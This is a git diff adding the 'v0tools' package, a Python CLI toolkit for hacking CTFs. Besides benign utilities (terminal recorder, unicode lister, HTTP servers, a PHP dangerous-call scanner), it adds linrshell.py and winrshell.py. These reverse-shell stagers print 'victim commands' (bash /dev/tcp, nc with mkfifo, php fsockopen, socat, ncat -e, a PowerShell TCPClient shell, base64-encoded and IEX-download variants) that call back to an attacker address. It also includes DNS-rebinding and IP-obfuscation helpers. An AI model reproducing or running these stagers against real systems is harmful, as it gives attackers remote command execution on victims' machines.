diff --git a/.gitignore b/.gitignore index b6e4761..775869f 100644 --- a/.gitignore +++ b/.gitignore @@ -1,129 +1,7 @@ -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] -*$py.class - -# C extensions -*.so - -# Distribution / packaging -.Python -build/ -develop-eggs/ +*.pyc +tmp/ +*.gif +*.mp4 +*.webm dist/ -downloads/ -eggs/ -.eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -wheels/ -pip-wheel-metadata/ -share/python-wheels/ -*.egg-info/ -.installed.cfg -*.egg -MANIFEST - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.nox/ -.coverage -.coverage.* -.cache -nosetests.xml -coverage.xml -*.cover -*.py,cover -.hypothesis/ -.pytest_cache/ - -# Translations -*.mo -*.pot - -# Django stuff: -*.log -local_settings.py -db.sqlite3 -db.sqlite3-journal - -# Flask stuff: -instance/ -.webassets-cache - -# Scrapy stuff: -.scrapy - -# Sphinx documentation -docs/_build/ - -# PyBuilder -target/ - -# Jupyter Notebook -.ipynb_checkpoints - -# IPython -profile_default/ -ipython_config.py - -# pyenv -.python-version - -# pipenv -# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. -# However, in case of collaboration, if having platform-specific dependencies or dependencies -# having no cross-platform support, pipenv may install dependencies that don't work, or not -# install all needed dependencies. -#Pipfile.lock - -# PEP 582; used by e.g. github.com/David-OConnor/pyflow -__pypackages__/ - -# Celery stuff -celerybeat-schedule -celerybeat.pid - -# SageMath parsed files -*.sage.py - -# Environments -.env -.venv -env/ -venv/ -ENV/ -env.bak/ -venv.bak/ - -# Spyder project settings -.spyderproject -.spyproject - -# Rope project settings -.ropeproject - -# mkdocs documentation -/site - -# mypy -.mypy_cache/ -.dmypy.json -dmypy.json - -# Pyre type checker -.pyre/ +src/v0tools.egg-info diff --git a/MANIFEST.in b/MANIFEST.in new file mode 100644 index 0000000..442028e --- /dev/null +++ b/MANIFEST.in @@ -0,0 +1,4 @@ +include src/v0tools/data/* +include VERSION +include README.md +global-exclude *.pyc diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..faa98a2 --- /dev/null +++ b/Makefile @@ -0,0 +1,78 @@ +.DEFAULT_GOAL := pkg + +docs := ./docs +srcdir := ./src +pkgname := v0tools + +documentation: clean + @echo "Running docs" + mkdir -p $(docs)/static/api + ./scripts/gendoc.py + # ./scripts/genenvconfig.py + # ./scripts/genbadges.py + # ./scripts/genpypyreadme.py + pydoctor \ + -v \ + -W \ + --html-output=$(docs)/static/api \ + --buildtime="1996-06-17 15:00:00" \ + $(srcdir)/$(pkgname) + ./scripts/checkundocced.py + +docker_tests: + ./scripts/dockertest.sh ./docker/deb36.Dockerfile + ./scripts/dockertest.sh ./docker/deb37.Dockerfile + ./scripts/dockertest.sh ./docker/deb38.Dockerfile + ./scripts/dockertest.sh ./docker/deb39.Dockerfile + ./scripts/dockertest.sh ./docker/deb310.Dockerfile + ./scripts/dockertest.sh ./docker/centos7.Dockerfile + ./scripts/dockertest.sh ./docker/arch.Dockerfile + +install_local: + pip3 install . + +pkg: documentation clean + @echo "Running PKG" + python3 setup.py sdist + twine check dist/* + +upload: + @echo "Running upload" + twine upload --repository v0tools dist/* + +bump_version: + # order is important here + ./scripts/version_bump.py + ./scripts/genchangelog.py + git add ./CHANGELOG.md + git add ./VERSION + git diff HEAD + git commit -S --amend + bash -c "git tag v$$(cat VERSION)" + +push: + $(eval tag = $(shell cat VERSION)) + git push -u origin HEAD + git push -u origin v$(tag) + +release: pkg upload push + @echo "Running Release" + +test_create: + ./scripts/unittest_create.py + +test: test_create + ./scripts/runtests.sh + +clean: + rm -rfv dist/* src/*.egg-info $(docs)/static/api + find -type f -name '*.pyc' -delete -print + find -type d -name __pycache__ -delete -print + +server: + bash -c "cd $(docs); hugo server" + +hugo_deploy: documentation + rm -rfv $(docs)/public + mkdir -p $(docs)/public + bash -c "cd $(docs); hugo; hugo deploy" diff --git a/README.md b/README.md index 634671f..fe59eaa 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,60 @@ -# v0tools -Hacking CTF toolchain and cli scripts +**This package is for those participating in hacking CTFs and want some tools to help with some of the more tedious tasks.** + +**Enjoy!** + +**Pull requests welcome. :)** + +## Installation / Quickstart + +> **To install this package from [pypy](https://pypi.org/project/v0tools/) run the following command.** + +```bash +pip3 install v0tools +``` + + +Full documentation can be found at [https://v0tools.stev0.me](https://v0tools.stev0.me) + +### Commands + +* *[cmd-not-found.py](https://v0tools.stev0.me/commands/cmd-not-found/)* + * Print how to install packages on different operating systems + +* *[cmdrec.py](https://v0tools.stev0.me/commands/cmdrec/)* + * Terminal Recorder using ffmpeg and KDE Console. + +* *[dnsrebind.py](https://v0tools.stev0.me/commands/dnsrebind/)* + * dns rebinding fqdn. + +* *[ip_urls.py](https://v0tools.stev0.me/commands/ip_urls/)* + * Generate a list of obfuscated ip variations and print to stdout. + +* *[linrshell.py](https://v0tools.stev0.me/commands/linrshell/)* + * Linux Reverse Shell stager. + +* *[php_search_vuln.py](https://v0tools.stev0.me/commands/php_search_vuln/)* + * Search for vulnerable calls / strings in php code. + +* *[unicodes.py](https://v0tools.stev0.me/commands/unicodes/)* + * print unicode values and associated information to stdout. + +* *[v0_bash_complete_msfvenom.py](https://v0tools.stev0.me/commands/v0_bash_complete_msfvenom/)* + * Sourceable Autocomplete for msfvenom flags. + +* *[v0serv.py](https://v0tools.stev0.me/commands/v0serv/)* + * HTTP Serve a directory, or serve a single isolated file. + +* *[v0upload.py](https://v0tools.stev0.me/commands/v0upload/)* + * HTTP server that accepts PUT requests from remotes. + +* *[winrshell.py](https://v0tools.stev0.me/commands/winrshell/)* + * Windows Reverse Shell stager. + + +### License +See: [LICENSE](./LICENSE) + + +## Api + +> **API Documentation can be found [here](https://v0tools.stev0.me/api)** diff --git a/VERSION b/VERSION new file mode 100644 index 0000000..8acdd82 --- /dev/null +++ b/VERSION @@ -0,0 +1 @@ +0.0.1 diff --git a/bin/cmd-not-found.py b/bin/cmd-not-found.py new file mode 100755 index 0000000..946262d --- /dev/null +++ b/bin/cmd-not-found.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +Print how to install packages on different operating systems + +Thanks to https://command-not-found.com/ and +Ƚukasz Lach https://twitter.com/lach_dev for hosting the site + +""" +from bs4 import BeautifulSoup +import requests +import json +from v0tools.cli import Cli + +cli = Cli() +parser = cli.parser +parser.add_argument( + "command", + help="command help", + type=str, +) + + +def main(args): + """Run main function.""" + # txt = pathlib.Path("./test.html").read_text() + txt = requests.get(f"https://command-not-found.com/{args.command}") + val = BeautifulSoup(txt.content, "lxml") + vals = {} + for i in val.findAll("div"): + if "command-install" not in i.attrs["class"]: + continue + os = i.attrs.get("data-os") + if not os: + continue + code = i.find("code").getText() + vals[os] = code + print(json.dumps(vals, indent=4, separators=(",", " : "))) + + +if __name__ == "__main__": + args = cli.get_parse() + # args = cli.get_parse("booga") + cli.set_entrypoint(main) + cli.run(args) diff --git a/bin/cmdrec.py b/bin/cmdrec.py new file mode 100755 index 0000000..8ae5d2e --- /dev/null +++ b/bin/cmdrec.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Terminal Recorder using ffmpeg and KDE Console.""" +from v0tools.media import convert, screencast +from v0tools import cli, exceptions +import subprocess +import time +import signal +import os +import tempfile +import shutil +import pathlib + + +TERM_COMMANDS = { + # "xterm": "xterm -class UXTerm -title uxterm -u8 -fa Mono -fs 18 -bg black -fg white -geometry __GEO__", + "konsole": "konsole --nofork --geometry __GEO__", +} + + +def _mp4(srcfile, destfile): + """This is the default action, just move the file.""" + shutil.move(srcfile, destfile) + + +def _gif(srcfile, destfile): + """Convert to GIF.""" + out = convert.mp4_to_gif(srcfile, destfile, True) + print(out) + os.unlink(srcfile) + + +def _webm(srcfile, destfile): + out = convert.mp4_to_webm(srcfile, destfile, True) + print(out) + os.unlink(srcfile) + + +FT_MAP = { + "mp4": _mp4, + "gif": _gif, + "webm": _webm, +} + +cli = cli.Cli() + +parser = cli.parser + +parser.add_argument( + "dest_file", + help=f'destination file, supported types {",".join(FT_MAP)}', + type=str, +) + +parser.add_argument( + "--overwrite", + "-y", + help="Overwrite destination file", + action="store_true", + default=False, +) + +parser.add_argument( + "--shell_geometry", + "-g", + help="geometry in the following format x,y,pixel-width,pixel-height", + type=str, + default="0,0,1920,1080", +) + +parser.add_argument( + "--recording_geometry", + "-r", + help="geometry in the following format for recording area x,y,pixel-width,pixel-height", + type=str, + default="0,0,1920,1080", +) + +parser.add_argument( + "--scr", + "-k", + help="Screen Keys Screen", + type=int, + default=0, +) + +parser.add_argument( + "--noterm", + "-n", + help="Do not spawn a new terminal", + action="store_true", + default=False, +) + +parser.add_argument( + "--terminal", + "-t", + help="terminal command", + type=str, + choices=TERM_COMMANDS.keys(), + default="konsole", +) + + +def _ffmpeg(args, tfile): + win = WinProps(args) + return screencast.x11_to_mp4( + win.rx, + win.ry, + win.rwidth, + win.rheight, + tfile, + ) + + +class WinProps(object): + """Window Properties.""" + + def __init__(self, args): + sarr = args.shell_geometry.split(",") + rarr = args.recording_geometry.split(",") + if len(sarr) != 4: + parser.print_help() + raise exceptions.InvalidCliArgument("--shell_geometry") + if len(rarr) != 4: + parser.print_help() + raise exceptions.InvalidCliArgument("--recording_geometry") + + self.sx, self.sy, self.swidth, self.sheight = map(int, sarr) + self.rx, self.ry, self.rwidth, self.rheight = map(int, rarr) + + +def shell(args): + xo = WinProps(args) + geo = f"{xo.swidth}x{xo.sheight}+{xo.sx}+{xo.sy}" + cmd = [ + "konsole", + "--nofork", + "--geometry", + geo, + ] + return subprocess.Popen(cmd) + + +def main(args): + """Run main function.""" + ext = args.dest_file.rsplit(".", 1) + if len(ext) == 1: + raise exceptions.InvalidFileExtention(args.dest_file, list(FT_MAP)) + if ext[1] not in FT_MAP: + raise exceptions.InvalidFileExtention(args.dest_file, list(FT_MAP)) + if os.path.exists(args.dest_file) and not args.overwrite: + raise exceptions.FileExists(args.dest_file, "--overwrite not set") + args.func = FT_MAP[ext[1]] + pdir = pathlib.Path(args.dest_file).resolve().parent + if not pdir.exists(): + raise exceptions.DirectoryNotExist(str(pdir)) + + if not args.noterm: + shell_proc = shell(args) + time.sleep(1) + + tfile = tempfile.mktemp(suffix=".mp4") + + rec_proc = _ffmpeg(args, tfile) + keys_proc = screencast.screenkey(args.scr) + + if not args.noterm: + shell_proc.communicate() + rec_proc.send_signal(signal.SIGTERM) + keys_proc.send_signal(signal.SIGTERM) + time.sleep(1) + else: + try: + rec_proc.communicate() + except KeyboardInterrupt: + pass + keys_proc.send_signal(signal.SIGTERM) + time.sleep(1) + + args.func(tfile, args.dest_file) + + +# This needs to be set here +cli.set_entrypoint(main) +cli.set_required_binaries(["konsole", "ffmpeg", "screenkey"]) + +if __name__ == "__main__": + args = cli.get_parse() + cli.run(args) + # args = cli.get_parse("--help") + # args = cli.get_parse("foo.txt") diff --git a/bin/dnsrebind.py b/bin/dnsrebind.py new file mode 100755 index 0000000..473f0fb --- /dev/null +++ b/bin/dnsrebind.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""dns rebinding fqdn.""" +from v0tools.attacks.dnsrebind import get_fqdn +from v0tools.lib.log import get_log +from v0tools.cli import Cli, exceptions +import argparse +import socket +import concurrent.futures as confu +import random +import time +from collections import Counter + +SECONDS = 5 +MAX_TEST_COUNT = 250 +MIN_TEST_COUNT = 50 + +LOG = get_log() + +cli = Cli() + + +parser = cli.parser + +parser.add_argument( + "normalip", + help="initial ip", + type=str, +) +parser.add_argument( + "rebindip", + help="rebind ip", + type=str, +) + +parser.add_argument( + "--test_count", + "-t", + help="test count", + default=0, + type=int, +) + +parser.add_argument( + "--verbose", + "-v", + action="store_true", + help="verbose", + default=False, +) + + +def _q(fqdn): + sl_int = random.randint(200, SECONDS * 1000) + time.sleep(0.001 * sl_int) + return socket.gethostbyname(fqdn) + + +def main(args): + """Run main function.""" + fqdn = get_fqdn(args.normalip, args.rebindip) + responses = Counter() + if args.test_count: + if args.test_count >= MAX_TEST_COUNT: + msg = f"test count should be below {MAX_TEST_COUNT}" + raise exceptions.InvalidCliArgument("--test_count", msg) + if args.test_count <= MIN_TEST_COUNT: + msg = f"test count should be above {MIN_TEST_COUNT}" + raise exceptions.InvalidCliArgument("--test_count", msg) + + LOG.info(f"Running tests on: {fqdn}") + LOG.info(f"This will finish in ~{SECONDS} seconds") + with confu.ThreadPoolExecutor(args.test_count) as executor: + futures = [executor.submit(_q, fqdn) for _ in range(args.test_count)] + for future in confu.as_completed(futures): + res = future.result() + responses[res] += 1 + if args.verbose: + LOG.info("Query result: %s", res) + LOG.info("Result Count Summary:") + for k, v in responses.most_common(): + LOG.info("%s: %s", k, v) + else: + print(fqdn) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + # args = parser.parse_args(["8.8.8.8", "127.0.0.1", "-t", "100"]) + args = cli.get_parse() + cli.run(args) diff --git a/bin/ip_urls.py b/bin/ip_urls.py new file mode 100755 index 0000000..b5aff46 --- /dev/null +++ b/bin/ip_urls.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Generate a list of obfuscated ip variations and print to stdout.""" +from v0tools.ips import get_urls +from v0tools.lib.log import get_log +from v0tools.cli import Cli, exceptions +import ipaddress + +LOG = get_log() +cli = Cli() +cli.parser.add_argument( + "ip", + help="ip address", + type=str, +) + + +def main(args): + """Run main function.""" + LOG.info(f"Showing IP Variations for {args.ip}") + try: + ok = ipaddress.ip_address(args.ip) + except ValueError: + ok = None + if not ok: + raise exceptions.InvalidIp(args.ip) + get_urls(args.ip) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + # args = cli.get_parse("--help") + # args = cli.get_parse("172.217.5.110") + # args = cli.get_parse("172.217.5") + args = cli.get_parse() + cli.run(args) diff --git a/bin/linrshell.py b/bin/linrshell.py new file mode 100755 index 0000000..dc2b5b8 --- /dev/null +++ b/bin/linrshell.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Linux Reverse Shell stager.""" +import argparse +from v0tools.lib import util +from v0tools import ansi, syspkgs, cli +from base64 import b64encode +from pyfzf.pyfzf import FzfPrompt +import os + + +def _socat(args): + """Raw TTY socat listener + + Runs: socat file:`tty`,raw,echo=0 tcp-listen:{args.port} + """ + remote_commands = [ + f"socat exec:'__SH__ -i',pty,stderr,setsid,sigint,sane tcp:{args.address}:{args.port}", + ] + lcmd = f"socat file:`tty`,raw,echo=0 tcp-listen:{args.port}" + _print_remote(remote_commands) + _print_local(lcmd) + os.system(lcmd) + + +def _nc(args): + """Netcat Listener + + Runs: nc -nklv {args.address} {args.port}" + """ + lcmd = f"nc -nklv {args.address} {args.port}" + remote_commands = [ + f"__SH__ -i >& /dev/tcp/{args.address}/{args.port} 0>&1", + f"mkfifo /tmp/{args.rstr};cat /tmp/{args.rstr}|__SH__ -i 2>&1|nc {args.address} {args.port} /tmp/{args.rstr}", + f'php -r \'$sock=fsockopen("{args.address}",{args.port});exec("__SH__ -i <&3 >&3 2>&3");\'', + ] + _print_remote(remote_commands) + _print_local(lcmd) + os.system(lcmd) + + +SH_MAP = { + "nc": _nc, + "socat": _socat, +} + +cli = cli.Cli() + +parser = cli.parser +cli.add_ipv_interface() +cli.add_port() + +parser.add_argument( + "--rshell", + "-s", + help=f"Reverse shell type {','.join(SH_MAP.keys())}", + type=str, +) + +parser.add_argument( + "--list", + "-l", + help="List reverse shell types", + action="store_true", + default=False, +) + + +def _print_remote(remote_commands): + print(ansi.banner("Victim Commands:")) + for sh in ["sh", "bash"]: + print(ansi.section(sh)) + for i in remote_commands: + sval = f"{i}".replace("__SH__", sh) + print(f"{sval} &") + print(f"echo {b64encode(sval.encode()).decode()} | base64 -d | {sh} &") + print() + + +def _print_local(lcmd): + print(ansi.banner("Victim staging copy pasta:")) + print(util.rshell_stagetxt()) + print(ansi.banner(f"Starting listener: {lcmd}")) + + +def main(args): + """Run main function.""" + SH_MAP[args.rshell](args) + + +if __name__ == "__main__": + args = cli.get_parse() + syspkgs.check_installs(["nc", "socat"]) + # args = parser.parse_args(["-l"]) + # args = parser.parse_args(["-i", "tun0", "-p", "36185"]) + if args.list: + for k, func in SH_MAP.items(): + print(f"{k}:") + for line in func.__doc__.split("\n"): + print(f"\t{line.strip()}") + raise SystemExit() + args.rstr = util.randstr() + args.fzf = FzfPrompt() + if not args.rshell: + args.rshell = args.fzf.prompt(SH_MAP.keys())[0] + main(args) diff --git a/bin/php_search_vuln.py b/bin/php_search_vuln.py new file mode 100755 index 0000000..a07cd10 --- /dev/null +++ b/bin/php_search_vuln.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Search for vulnerable calls / strings in php code. + +Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git +""" +from v0tools import exceptions +from v0tools.ansi import green, red, magenta +from v0tools.lib.filesystem import iterfiles +from v0tools.cli import Cli + +VULN_STRINGS = { + # str: url (if applicable) + # "${": None, + b"eval": None, + b"assert": None, + b"preg_replace": None, + b"create_function": None, + b"include": None, + b"require": None, + b"ReflectionFunction": None, + b"invoke": None, + b"serialize": b"https://book.hacktricks.xyz/pentesting-web/deserialization#php", +} + +cli = Cli() + +parser = cli.parser +cli.add_path() + +parser.add_argument( + "--filter", + "-f", + help="i.e. *.php or *.py", + default="*.php", + type=str, +) +parser.add_argument( + "--inc_lines", + "-l", + help="number of lines to include before / after match", + type=int, + default=3, +) + + +def _check_vuln(filename, args): + with open(filename, "rb") as fileh: + lines = list(fileh.readlines()) + for idx, line in enumerate(lines): + for cstr, url in VULN_STRINGS.items(): + if cstr in line: + retlines = lines[idx - args.inc_lines : idx + args.inc_lines] + yield idx, retlines, cstr, url + + +def main(args): + """Run main function.""" + files = [] + fcnt = 0 + for filename in iterfiles(args.path, args.filter): + fcnt += 1 + for idx, lines, cstr, url in _check_vuln(filename, args): + url = green(url) if url else "" + title = magenta(f"\n{filename} : {idx} {url}\n") + print(title) + output = b"".join(lines).replace(cstr, red(cstr.decode()).encode()) + for line in output.splitlines(): + print(f" {line.decode()}") + files.append([idx, filename]) + if fcnt == 0: + raise exceptions.NoAction( + "No files were scanned, maybe try adjusting the filter?" + ) + if not files: + raise exceptions.NoAction(f"Could not find any vulns in dir {args.path}") + print("\n\n") + vimcmd = ["vim"] + [f'-c "tabnew +{ln + 1} {fn}"' for ln, fn in files] + print(magenta(" ".join(vimcmd))) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + args = cli.get_parse() + # args = cli.get_parse("--help") + # args = cli.get_parse("~/repos/Vulnerable-Web-Application -f '*.php' -l 3") + cli.run(args) diff --git a/bin/unicodes.py b/bin/unicodes.py new file mode 100755 index 0000000..3624fe4 --- /dev/null +++ b/bin/unicodes.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""print unicode values and associated information to stdout.""" +from v0tools import chars, cli +import os + +dstring = f""" +{__doc__} + +example: + {os.path.basename(__file__)} | fzf +""" + +cli = cli.Cli(dstring) +parser = cli.parser + +parser.add_argument( + "-f", + "--filter", + nargs="*", + help="Filter string", + action="append", + type=str, + required=False, + default=None, +) + + +def main(args): + """Run main function.""" + if args.filter: + fvalues = [i[0] for i in args.filter] + else: + fvalues = [] + for _, i in enumerate(chars.unicodes()): + _int, _hex, _chr, name, uval, htmlent = i.values() + line = f"{_chr} {name} int:{_int} hex:{_hex.zfill(2)} {uval} {htmlent}" + if not fvalues: + print(line, flush=True) + continue + if all([i in line for i in fvalues]): + print(line, flush=True) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + args = cli.get_parse() + # args = cli.get_parse(["-f", "cat", "-f", "grin"]) + cli.run(args) + # args = cli.get_parse("--help") diff --git a/bin/v0_bash_complete_msfvenom.py b/bin/v0_bash_complete_msfvenom.py new file mode 100755 index 0000000..cb835a7 --- /dev/null +++ b/bin/v0_bash_complete_msfvenom.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Sourceable Autocomplete for msfvenom flags.""" +from v0tools.msf import get_venom_auto_complete +from v0tools.cli import Cli + + +def main(args): + """Run main function.""" + print("##### Venom Autocomplete", flush=True) + print(get_venom_auto_complete(), flush=True) + + +cli = Cli() +cli.set_entrypoint(main) +cli.set_required_binaries(["msfvenom"]) + +if __name__ == "__main__": + args = cli.get_parse() + cli.run(args) diff --git a/bin/v0serv.py b/bin/v0serv.py new file mode 100755 index 0000000..26d337f --- /dev/null +++ b/bin/v0serv.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""HTTP Serve a directory, or serve a single isolated file.""" +from v0tools import cli +from v0tools.servers import httpserv + +cli = cli.Cli(__doc__) +cli.add_path() +cli.add_ipv_interface() +cli.add_port() +parser = cli.parser + +parser.add_argument( + "-d", + "--display", + help="display type", + choices=httpserv.SERV_PREFIXES.keys(), + default="none", + type=str, +) + + +def main(args): + """Run main function.""" + httpserv.serve( + args.address, + str(args.port), + args.path, + args.display, + ) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + args = cli.get_parse() + # args = cli.get_parse("-i lo ./") + cli.run(args) diff --git a/bin/v0upload.py b/bin/v0upload.py new file mode 100755 index 0000000..044f46f --- /dev/null +++ b/bin/v0upload.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""HTTP server that accepts PUT requests from remotes.""" +from v0tools import cli +from v0tools.servers import httpserv + +cli = cli.Cli() +cli.add_path() +cli.add_ipv_interface() +cli.add_port() + +parser = cli.parser + + +def main(args): + """Run main function.""" + httpserv.uploader( + args.address, + str(args.port), + args.path, + ) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + args = cli.get_parse() + main(args) diff --git a/bin/winrshell.py b/bin/winrshell.py new file mode 100755 index 0000000..f4d7557 --- /dev/null +++ b/bin/winrshell.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Windows Reverse Shell stager.""" +import argparse +from v0tools.lib import util +from v0tools import ansi, net, fzfhelper, syspkgs +from v0tools.lib.util import powershell_base64_encode +from pyfzf.pyfzf import FzfPrompt +from v0tools.servers import httpserv +from v0tools import Config, cli +import os +import time + +SAVE = r""" +New-Object System.Net.Sockets.TCPClient('__IP__',__PORT__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() +""" + +PSCMDS = r""" +$client = New-Object System.Net.Sockets.TCPClient('__IP__',__PORT__);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() +""" + + +def _rawshell(args): + """Raw Cons shell listener + + Runs: stty raw -echo; (stty size; cat) | nc -lvnp {args.port} + """ + rows, cols = util.term_rows_cols() + file = Config.V0_POWERSHELL_CONPTY() + # Random port for temporary serv + port = util.randport() + psurl = httpserv.powershell_serv(args.address, str(port), file) + pscmd = f"IEX({psurl}); Invoke-ConPtyShell -RemoteIp {args.address} -RemotePort {args.port} -Rows {rows} -Cols {cols}" + remote_commands = [ + f"powershell -nop -c {pscmd}", + f"powershell -nop -e {powershell_base64_encode(pscmd)}", + ] + lcmd = f"stty raw -echo; (stty size; cat) | nc -lvnp {args.port}" + _print_remote(remote_commands) + _print_local(lcmd) + # small delay to allow the above stuff to finish before the raw terminal + # makes stuff look wonky + time.sleep(2) + os.system(lcmd) + # Reset the tty + os.system("stty sane") + + +def _powershell(args): + """Powershell reverse shell listener + + Runs: rlwrap socat tcp-listen:"{args.port}" STDOUT + """ + + def _repl(src, address, port): + return src.strip().replace("__IP__", address).replace("__PORT__", str(port)) + + pscmds = [ + _repl(i, args.address, args.port) for i in PSCMDS.splitlines() if i.strip() + ] + + remote_commands = [ + f"socat TCP4:{args.address}:{args.port} EXEC:'cmd.exe',pipes", + f"socat TCP4:{args.address}:{args.port} EXEC:'powershell.exe',pipes", + f"ncat.exe {args.address} {args.port} -e powershell.exe", + f"ncat.exe {args.address} {args.port} -e cmd.exe", + ] + + for i in pscmds: + remote_commands.append(f'powershell -nop -c "{i}"') + remote_commands.append(f"powershell -nop -e {powershell_base64_encode(i)}") + + lcmd = f'rlwrap socat tcp-listen:"{args.port}" STDOUT' + _print_remote(remote_commands) + _print_local(lcmd) + os.system(lcmd) + + +SH_MAP = { + "psh": _powershell, + "conpty": _rawshell, +} + +cli = cli.Cli() +cli.add_port() +cli.add_ipv_interface() +parser = cli.parser + +parser.add_argument( + "--rshell", + "-s", + help=f"Reverse shell type {','.join(SH_MAP.keys())}", + type=str, +) + +parser.add_argument( + "--list", + "-l", + help="List reverse shell types", + action="store_true", + default=False, +) + + +def _print_remote(remote_commands): + print(ansi.banner("Victim Commands:")) + for i in remote_commands: + print(f"{i}\n") + + +def _print_local(lcmd): + print(ansi.banner(f"Starting listener: {lcmd}")) + + +def main(args): + """Run main function.""" + SH_MAP[args.rshell](args) + + +if __name__ == "__main__": + syspkgs.check_installs(["nc", "socat", "rlwrap"]) + args = cli.get_parse() + # args = parser.parse_args(["-l"]) + # args = parser.parse_args(["-i", "tun0", "-p", "36185"]) + # args = parser.parse_args(["-i", "tun0"]) + if args.list: + for k, func in SH_MAP.items(): + print(f"{k}:") + for line in func.__doc__.split("\n"): + print(f"\t{line.strip()}") + raise SystemExit() + args.rstr = util.randstr() + args.fzf = FzfPrompt() + if not args.rshell: + if len(SH_MAP) == 1: + args.rshell = list(SH_MAP.keys())[0] + else: + args.rshell = args.fzf.prompt(SH_MAP.keys())[0] + main(args) diff --git a/docker/arch.Dockerfile b/docker/arch.Dockerfile new file mode 100644 index 0000000..c445639 --- /dev/null +++ b/docker/arch.Dockerfile @@ -0,0 +1,15 @@ +FROM archlinux:base + +COPY ./docker/arch.mirrorlist /etc/pacman.d/mirrorlist +COPY ./docker/archinstall.sh / +COPY ./docker/install_msf.sh / + +WORKDIR / +RUN ./archinstall.sh +RUN ./install_msf.sh + +COPY . /app/ + +WORKDIR /app + +RUN pip3 install . diff --git a/docker/arch.mirrorlist b/docker/arch.mirrorlist new file mode 100644 index 0000000..fd720f6 --- /dev/null +++ b/docker/arch.mirrorlist @@ -0,0 +1,772 @@ +## Arch Linux repository mirrorlist +## Generated on 2021-09-01 +## + +## United States +Server = http://mirrors.acm.wpi.edu/archlinux/$repo/os/$arch +Server = http://mirrors.advancedhosters.com/archlinux/$repo/os/$arch +Server = http://mirrors.aggregate.org/archlinux/$repo/os/$arch +Server = https://america.mirror.pkgbuild.com/$repo/os/$arch +Server = http://ca.us.mirror.archlinux-br.org/$repo/os/$arch +Server = http://il.us.mirror.archlinux-br.org/$repo/os/$arch +Server = http://mirror.arizona.edu/archlinux/$repo/os/$arch +Server = https://mirror.arizona.edu/archlinux/$repo/os/$arch +Server = http://arlm.tyzoid.com/$repo/os/$arch +Server = https://arlm.tyzoid.com/$repo/os/$arch +Server = https://mirror.ava.dev/archlinux/$repo/os/$arch +#Server = http://mirrors.cat.pdx.edu/archlinux/$repo/os/$arch +#Server = http://mirror.cc.columbia.edu/pub/linux/archlinux/$repo/os/$arch +#Server = http://arch.mirror.constant.com/$repo/os/$arch +#Server = https://arch.mirror.constant.com/$repo/os/$arch +#Server = http://mirror.cs.pitt.edu/archlinux/$repo/os/$arch +#Server = http://mirror.cs.vt.edu/pub/ArchLinux/$repo/os/$arch +#Server = http://mirror.cybersecurity.nmt.edu/archlinux/$repo/os/$arch +#Server = https://mirror.cybersecurity.nmt.edu/archlinux/$repo/os/$arch +#Server = http://distro.ibiblio.org/archlinux/$repo/os/$arch +#Server = http://mirror.es.its.nyu.edu/archlinux/$repo/os/$arch +#Server = http://mirror.ette.biz/archlinux/$repo/os/$arch +#Server = https://mirror.ette.biz/archlinux/$repo/os/$arch +#Server = http://mirrors.gigenet.com/archlinux/$repo/os/$arch +#Server = http://www.gtlib.gatech.edu/pub/archlinux/$repo/os/$arch +#Server = http://mirror.hackingand.coffee/arch/$repo/os/$arch +#Server = https://mirror.hackingand.coffee/arch/$repo/os/$arch +#Server = https://mirror.hodgepodge.dev/archlinux/$repo/os/$arch +#Server = http://mirror.hostup.org/archlinux/$repo/os/$arch +#Server = https://mirror.hostup.org/archlinux/$repo/os/$arch +#Server = http://arch.hu.fo/archlinux/$repo/os/$arch +#Server = https://arch.hu.fo/archlinux/$repo/os/$arch +#Server = http://repo.ialab.dsu.edu/archlinux/$repo/os/$arch +#Server = https://repo.ialab.dsu.edu/archlinux/$repo/os/$arch +#Server = http://mirrors.kernel.org/archlinux/$repo/os/$arch +#Server = 